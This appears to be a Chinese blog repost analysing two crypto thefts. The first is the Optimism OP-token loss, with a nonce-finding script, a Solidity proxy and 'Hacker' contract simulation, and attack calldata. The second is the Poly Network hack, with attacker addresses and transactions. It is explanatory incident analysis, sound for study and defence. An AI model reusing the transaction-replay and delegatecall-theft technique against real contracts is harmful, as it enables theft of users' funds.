深度解析Optimism被盗2000万个OP事件(含代码)
Posted youngqqcn
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了深度解析Optimism被盗2000万个OP事件(含代码)相关的知识,希望对你有一定的参考价值。
深度解析Optimism被盗2000万个OP事件
本文在这篇文章深度解析 Optimism窃取事件:Layer2 网络合约部署重放攻击加以梳理和细化,并配有详细的示例代码。
本文的示例代码:https://github.com/youngqqcn/optimism-attack-analysis
起因
为了简化,就用甲方乙代替公司名吧。甲方(optimism)要乙方(Wintermute)帮忙搞事情,因为乙在layer1玩得很溜,甲方想在自己的layer2也玩起来。
于是,乙方爽快地答应了,给了一个收币地址给甲方说:“你忘这个地址上转币吧,其他事情我这边搞定。”甲方很开心地向乙方提供的收币地址转了2000万个OP币,乙方却说没有收到。一查才发现,乙方提供的是layer1的地址,而甲方转的是layer2的地址,虽然地址长得一样,但是此地址在layer2上尚未被创建(没有创建也可以转账进去)。
那该怎么办呢?两边的技术人员一看说,这是个黑洞地址,现在没有人能转走里面的币,只要操作一波是可以找回那些币的,不过现在是五一假期,大家都在夏威夷独家呢,过了五一节再说吧(开玩笑)。黑客可没有五一,立即行动,搞走了里面的币。甲乙双方尴尬了。
分析
黑客是做到的呢? 思路很简单,只要2步:
- 在layer2上创建乙方的收币地址(是合约地址)
- 搞到乙方的收币地址的所有权(控制权),因为地址是合约地址,而且是个proxy合约,即代理合约。
- 转移资金
Layer1
- Gnosis Safe Proxy Factory(以下统称合约A): 0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b
- Wintermute proxy(以下统称合约B): 0x4f3a120E72C76c22ae802D129F599BFDbc31cb81
其中合约A由此交易创建:https://etherscan.io/tx/0x75a42f240d229518979199f56cd7c82e4fc1f1a20ad9a4864c635354b4a34261
这笔交易的发起地址是:0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a
合约B由此交易创建:https://etherscan.io/tx/0xd705178d68551a6a6f65ca74363264b32150857a26dd62c27f3f96b8ec69ca01#eventlog
这笔交易的发起者不重要,重要的是调用ProxyCreation传入的参数,0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b,这个地址就是合约A
Layer2
- 合约地址A:0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b
- 合约地址B:0x4f3a120e72c76c22ae802d129f599bfdbc31cb81
https://etherscan.io/txs?a=0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a
⭐ 第1步:如何在layer2创建处合约地址A?
因为layer1上创建合约A的交易,没有使用EIP155,所以可以,将此笔交易进行重放。
重放layer1上创建合约A的交易:https://optimistic.etherscan.io/tx/0x75a42f240d229518979199f56cd7c82e4fc1f1a20ad9a4864c635354b4a34261
,保证发送笔交易时nonce与layer创建合约A时一样即可。
如何重放? 可以使用RPC sendRawTransaction
将交易data发到layer2链上即可,当然要保证账户有余额
⭐ 第2步:如何在layer2创建处合约地址B?
合约地址生成原理: Hash(caller, nonce_of_caller)
普通地址的nonce记录的交易次数,合约地址的nonce值是合约地址创建合约数量。nonce值可以以太坊的JSON RPC接口获取
例如获取当前的nonce值
curl https://mainnet.infura.io/v3/8a264f274fd94de48eb290d35db030ab \\
-X POST \\
-H "Content-Type: application/json" \\
-d \\
'
"jsonrpc": "2.0",
"method": "eth_getTransactionCount",
"params": [
"0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b",
"latest"
],
"id": 1
'
输出
"jsonrpc":"2.0","id":1,"result":"0x89a7"
其中,0x89a7
是35239
,黑客是不是要创建这么多合约呢?其实不用,因为layer1上的合约B是2020年创建的,那时候合约A的nonce肯定没有这么大。有没有什么办法可以获取到那笔创建合约B时,合约A的准确的nonce值呢?有的!etherscan就记录了state的转换:https://etherscan.io/tx/0xd705178d68551a6a6f65ca74363264b32150857a26dd62c27f3f96b8ec69ca01#statechange
nonce从8884
增加到了8885
,也就说,我们要得到的nonce值就是8884
!
当然也可以使用以下代码找到nonce值:
const Web3 = require("web3");
const RLP = require("rlp");
const account = "0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b";
for (let nonce = 0; nonce < 0xffffffff; nonce++)
let e = RLP.encode([account, nonce] );
const nonceHash = Web3.utils.sha3(Buffer.from(e));
const targetAddress = '0x'+ nonceHash.substring(26)
if(targetAddress === '0x4f3a120e72c76c22ae802d129f599bfdbc31cb81')
console.log(nonce)
break
输出结果是:8884
黑客创建了一个攻击合约(以下称作合约C):0xE7145dd6287AE53326347f3A6694fCf2954bcD8A
只要调用合约A不停地创建合约,当nonce与layer1创建合约B那笔交易的nonce相同,就可以在layer2创建出合约地址B。
黑客在layer2上创建合约B地址的交易log,在135位置:https://optimistic.etherscan.io/tx/0x00a3da68f0f6a69cb067f09c3f7e741a01636cbc27a84c603b468f65271d415b#eventlog
黑客是如何将合约B中的masterCopy
设置为自己的攻击合约地址的?
在区块浏览器查不到合约B的构造参数,但是我们看合约A的代码 https://optimistic.etherscan.io/address/0x76e2cfc1f5fa8f6a5b3fc4c8f4788f0116861f9b#code:
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param masterCopy Address of master copy.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address masterCopy, bytes memory data)
public
returns (Proxy proxy)
proxy = new Proxy(masterCopy);
if (data.length > 0)
// solium-disable-next-line security/no-inline-assembly
assembly
if eq(call(gas, proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) revert(0, 0)
emit ProxyCreation(proxy);
只要在调用createProxy
时将masterCopy
设置为黑客自己的攻击合约地址即可,data
为空,这样即可。
⭐ 第3步:如何转移合约B中的金额?
黑客转移合约B上的1000000个OP的交易:https://optimistic.etherscan.io/tx/0x230e17117986f0dc7259db824de1d00c6cf455c925c0c8c6b89bf0b6756a7b7e
查看内部交易:https://optimistic.etherscan.io/tx/0x230e17117986f0dc7259db824de1d00c6cf455c925c0c8c6b89bf0b6756a7b7e#internal
其中 0xE7145dd6287AE53326347f3A6694fCf2954bcD8A 就是黑客攻击合约
交易的inputData
0xad8d5f480000000000000000000000004200000000000000000000000000000000000042000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044a9059cbb00000000000000000000000060b28637879b5a09d21b68040020ffbf7dba510700000000000000000000000000000000000000000000d3c21bcecceda100000000000000000000000000000000000000000000000000000000000000
其中 0xad8d5f48
: 是exec(address,bytes,uint256)
的签名
我们再看看layer1上合约B的源码:
contract Proxy
// masterCopy always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal masterCopy;
/// @dev Constructor function sets address of master copy contract.
/// @param _masterCopy Master copy address.
constructor(address _masterCopy)
public
require(_masterCopy != address(0), "Invalid master copy address provided");
masterCopy = _masterCopy;
/// @dev Fallback function forwards all transactions and returns all received return data.
function ()
external
payable
// solium-disable-next-line security/no-inline-assembly
assembly
let masterCopy := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000)
mstore(0, masterCopy)
return(0, 0x20)
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas, masterCopy, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) revert(0, returndatasize())
return(0, returndatasize())
问题来了,并没有发现exec
函数!这是怎么回事呢?
我们注意到,函数function () external payable
是fallback函数
,也就是说当调用时没有匹配到函数时,会进入fallback
函数。
因为masterCopy
在创建合约B时,就已经设置为黑客自己的攻击合约地址0xE7145dd6287AE53326347f3A6694fCf2954bcD8A
。
如此一来,代码中的delegatecall
调用黑客自己的攻击合约,然后在攻击合约中执行OP
合约(0x4200000000000000000000000000000000000042
)的ERC20的transfer
操作,又因为使用的是delegatecall
,msg.sender
就是合约B的地址,即(0x4f3a120e72c76c22ae802d129f599bfdbc31cb81),所以,调用transfer
时,扣除的msg.sender
的OP代币余额,这样,就可以转移了OP
代币。
我们再验证这个合约B的“转发”功能,
其中0x8da5cb5b
是函数owner()
的签名。合约B0x4f3a120e72c76c22ae802d129f599bfdbc31cb81
将请求转发到黑客的攻击合约,如下图:
模拟转移代币
为了更加深入理解,我们编写一个测试合约,来模拟黑客转移代币的操作。
- 我们把
proxy
的代码复制过来; - 然后编写一个
Erc20
合约模拟OP
代币合约,秩序实现一个简单的transfer
操作; - 再编写一个
Hacker
合约,模拟黑客的攻击合约
代码如下:
pragma solidity ^0.4.26;
contract Proxy
address internal masterCopy;
constructor(address _masterCopy)
public
require(_masterCopy != address(0), "Invalid master copy address provided");
masterCopy = _masterCopy;
/// @dev Fallback function forwards all transactions and returns all received return data.
function ()
external
payable
// solium-disable-next-line security/no-inline-assembly
assembly
let masterCopy := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000)
mstore(0, masterCopy)
return(0, 0x20)
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas, masterCopy, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) revert(0, returndatasize())
return(0, returndatasize())
contract Erc20
address public sender;
// 为了方便查看结果,我们输出一个log
event Transfer(address indexed from, address indexed to, uint256 value);
function transfer(address to, uint256 amount) external returns (bool)
sender = msg.sender;
// 略,其他操作,从msg.sender余额扣除,增加to的余额
emit Transfer(msg.sender, to, amount);
return true;
contract Hacker
event Ok(address,bytes,uint256);
event Failed(bool);
function exec(address addr, bytes data, uint256 amount) public payable returns(bool)
Erc20 erc20 = Erc20(addr);
address to = 0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF;
assembly
to := mload(add(data,20)) // 将data转为地址
bool success = erc20.transfer(to, amount);
if(success)
// 为了方便查看结果,我们输出一个log
emit Ok(addr, data, amount);
return true;
else
// 为了方便查看结果,我们输出一个log
emit Failed(false);
return false;
具体部署步骤:
- 部署
Erc20
合约 - 部署
Hacker
合约 - 部署
proxy
合约,构造参数将masterCopy
地址设置Hacker
合约地址即可
为了获得proxy的调用data,我们这里先直接调用Hacker
的exec
函数,这样就可以获得完整的input data
0xad8d5f4800000000000000000000000032f99155646d147b8a4846470b64a96dd9cba4140000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000115c000000000000000000000000000000000000000000000000000000000000001460b28637879b5a09d21b68040020ffbf7dba5107000000000000000000000000
我们将此input data 填入proxy
的CALLDATA,就可以调用proxy的fallback
函数,运行结果如下:
至此,我们这个分析流程结束。
总结
山外有山,人外有人。区块链的世界充满机遇,同时也充满风险。
年度最大DeFi黑客事件!Poly Network 被盗6亿事件全解析
来源 | 成都链安
责编 | Carol
8月10日晚,跨链协议Poly Network 遭受攻击,Ethereum、BinanceChain、Polygon3条链上近6亿美元资金被盗。
黑客是如何攻击的?
Poly Network被曾被认为是当前市场上可落地性“最优”的跨链互操作性协议,真正做到“异构跨链”。
攻击最早发生于8月10日17:55,黑客在以太坊陆续从Poly Network智能合约转移了9638万个USDC、1032个WBTC等资产,总价值超过2.6亿美元;18:04起,黑客在Polygon从该项目智能合约转移了8508万USDC;18:08起,黑客在BSC从从该项目智能合约转移了8760万个USDC、26629个ETH等资产。
这是整个加密历史上涉案金额最大的黑客事件,超过了鼎鼎大名的 Mt.Gox 事件(744408 枚 BTC,当时总价值约 4 亿美元),以及 2018 年的 Coincheck 大案(5.23 亿枚 XEM,当时总价值约 5.34 亿美元)。关于本次事件发生的具体原因,行业安全机构技术团队一直在进行实时监控,追踪漏洞原理和技术细节。
经过分析,攻击者是利用了EthCrossChainManager合约中存在的逻辑缺陷,通过该合约调用EthCrossChainData合约中putCurEpochConPubKeyBytes函数更改Keeper为自有地址,然后使用该地址对提取代币的交易进行签名,从而将LockProxy合约中的大量代币套取出来。
黑客是怎么得手的?
攻击者地址:
BSC:
0x0D6e286A7cfD25E0c01fEe9756765D8033B32C71
ETH:
0xC8a65Fadf0e0dDAf421F28FEAb69Bf6E2E589963
Polygon:
0x5dc3603C9D42Ff184153a8a9094a73d461663214
被攻击的合约:
BSC:
A:
0x7ceA671DABFBa880aF6723bDdd6B9f4caA15C87B(EthCrossChainManager)
B:
0x2f7ac9436ba4B548f9582af91CA1Ef02cd2F1f03(LockProxy)
ETH:
C:
0x838bf9E95CB12Dd76a54C9f9D2E3082EAF928270(EthCrossChainManager)
D:
0x250e76987d838a75310c34bf422ea9f1AC4Cc906(LockProxy)
Polygon:
E:
0xABD7f7B89c5fD5D0AEf06165f8173b1b83d7D5c9(EthCrossChainManager)
F:
0x28FF66a1B95d7CAcf8eDED2e658f768F44841212(LockProxy)
攻击交易:
BSC:
0x3eba3f1fb50c4cbe76e7cc4dcc14ac7544762a0e785cf22034f175f67c8d3be9
0x4e57f59395aca4847c4d001db4a980b92aab7676bc0e2d57ee39e83502527d6c
0x50105b6d07b4d738cd11b4b8ae16943bed09c7ce724dc8b171c74155dd496c25
0xd65025a2dd953f529815bd3c669ada635c6001b3cc50e042f9477c7db077b4c9
0xea37b320843f75a8a849fdf13cd357cb64761a848d48a516c3cac5bbd6caaad5
ETH:
0xb1f70464bd95b774c6ce60fc706eb5f9e35cb5f06e6cfe7c17dcda46ffd59581
0xad7a2c70c958fcd3effbf374d0acf3774a9257577625ae4c838e24b0de17602a
Polygon:
0x8c8b43012773b8948cfb0c66f69bfa7513817e35052ace91e2ed7eb9e8cacb95
0x1d260d040f67eb2f3e474418bf85cc50b70101ca2473109fa1bf1e54525a3e01
0xfbe66beaadf82cc51a8739f387415da1f638d0654a28a1532c6333feb2857790
在BSC上,攻击者首先通过传递精心构造的数据调用EthCrossChainManager合约中的verifyHeaderAndExecuteTx(0xd450e04c)函数。由于verifyHeaderAndExecuteTx函数调用了内部函数_executeCrossChainTx,并且在该内部函数中使用用了call调用,攻击者通过精心构造的数据(通过其他漏洞获取了原Keeper签名后的数据)控制了call调用的参数_method,成功的以EthCrossChainManager合约的身份调用了EthCrossChainData合约中putCurEpochConPubKeyBytes函数更改Keeper为自有地址(0xa87fb85a93ca072cd4e5f0d4f178bc831df8a00b)。这一步操作是为了后续能够获得有效Keeper签名后的交易,然后提取合约中的代币。
上述调用攻击者构建的_method实际上并不是putCurEpochConPubKeyBytes,这是因为call调用中只有函数名是用户可控的,参数为固定的数量和类型。攻击者通过构造与putCurEpochConPubKeyBytes具有相同函数签名的f1121318093函数实现了对EthCrossChainData合约中putCurEpochConPubKeyBytes函数的调用。
完成修改Keeper之后,攻击者便可以对任意交易进行签名。攻击者通过多笔有效Keeper(在签名已被攻击者修改为自己的地址)签名后的交易将B合约中ETH、BTCB、BUSD以及USDC代币全部取出。
由于ETH和Polygon与BSC上具有相同的代码和Keeper,攻击者在完成BSC上的攻击之后,将之前构造的数据在ETH和Polygon上进行重放,将ETH和Polygon上Keeper也修改为了自有地址(0xa87fb85a93ca072cd4e5f0d4f178bc831df8a00b)。
然后使用同样的攻击手法,取出了D合约中全部的ETH、USDC、WBTC、UNI、DAI、SHIB、WETH、FEI、USDT和renBTC以及F合约中全部的USDC。
攻击者在Polygon归还101万USDC。
我们需要注意哪些事情?
本次攻击事件主要原因是合约权限管理逻辑存在问题,任意用户都可以调用verifyHeaderAndExecuteTx函数进行交易的执行,并且在其内部进行call调用时,函数名可由用户控制,恶意用户可以通过精心构造数据异常调用部分函数。同时EthCrossChainManager合约具有修改Keeper的权限,正常情况下是通过changeBookKeeper函数进行修改,但在此次攻击中攻击者是通过精心构造的数据通过verifyHeaderAndExecuteTx函数中的call调用成功修改Keeper地址,而Keeper地址又可以对交易进行签名,Defi诞生以来最大损失的攻击事件因此产生。
可能是多方压力,攻击Poly Network的黑客开始归还资产,在Polygon上于区块17862254已归还10,100USDC,在Polygon上于区块17862497 归还100万USDC。
在此提醒大家,开发者在使用call调用时,尤其需要注意参数为用户可控的情况,一些特殊的合约以及函数需要对权限进行严格控制,避免被异常调用造成不可挽回的损失。
更多阅读推荐
以上是关于深度解析Optimism被盗2000万个OP事件(含代码)的主要内容,如果未能解决你的问题,请参考以下文章
年度最大DeFi黑客事件!Poly Network 被盗6亿事件全解析